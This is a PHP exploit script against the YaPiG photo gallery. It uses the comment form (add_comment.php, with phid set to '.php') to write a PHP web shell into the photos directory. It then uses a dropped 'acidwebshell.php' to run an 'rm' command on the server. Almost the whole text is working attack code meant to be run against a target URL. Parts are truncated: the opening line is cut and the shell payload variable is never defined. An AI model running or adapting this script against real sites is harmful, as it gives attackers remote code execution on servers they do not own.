#!/usr/bin/php "; if($argc<2) die("Usage: ".$argv[0]." URL_to_YaPiG_script\n\n"); $host=$argv[1]; if(substr($host,strlen($host)-1,1)!='/') $host.='/'; echo "[+] Getting valid gid & photo path ... "; $webc=get_web($host); $temp=explode(";gid=",$webc); $gid=intval($temp[1]); $temp=explode("photos/",$webc); $temp=explode("/",$temp[1]); $path=$temp[0]; if( !$gid || !$path ) die( "Failed!\n\n"); echo "OK\n GID: $gid\n Path: ".$host."photos/".$path."/\n\n"; echo "[+] Creating notice script file ... "; send_post( $host."add_comment.php?gid=".$gid."&phid=.php", "tit=a&aut=a&mail=".urlencode($websh)."&web=&msg=a&date=&send=Send"); $webc=get_web( $host."photos/".$path."/".$gid."_.php" ); send_post( $host."photos/".$path."/acidwebshell.php", "c=".urlencode("rm ".$gid."_.php") ); echo "OK\n Now go to: ".$host."photos/".$path."/test.php"; die("\n\n \ / \ /\n (Oo) Done! (oO)\n //||\\\\ //||\\\\\n\n"); function get_web($url) { $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_HEADER, 0); curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1); $data=curl_exec ($ch); curl_close ($ch); return $data; } function send_post($url,$data) { $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL, $url ); curl_setopt ($ch, CURLOPT_HEADER, 0); curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt ($ch, CURLOPT_POST, 1); curl_setopt ($ch, CURLOPT_POSTFIELDS, $data ); $data=curl_exec ($ch); curl_close ($ch); return $data; } /* \ / (Oo) //||\\ */ ?>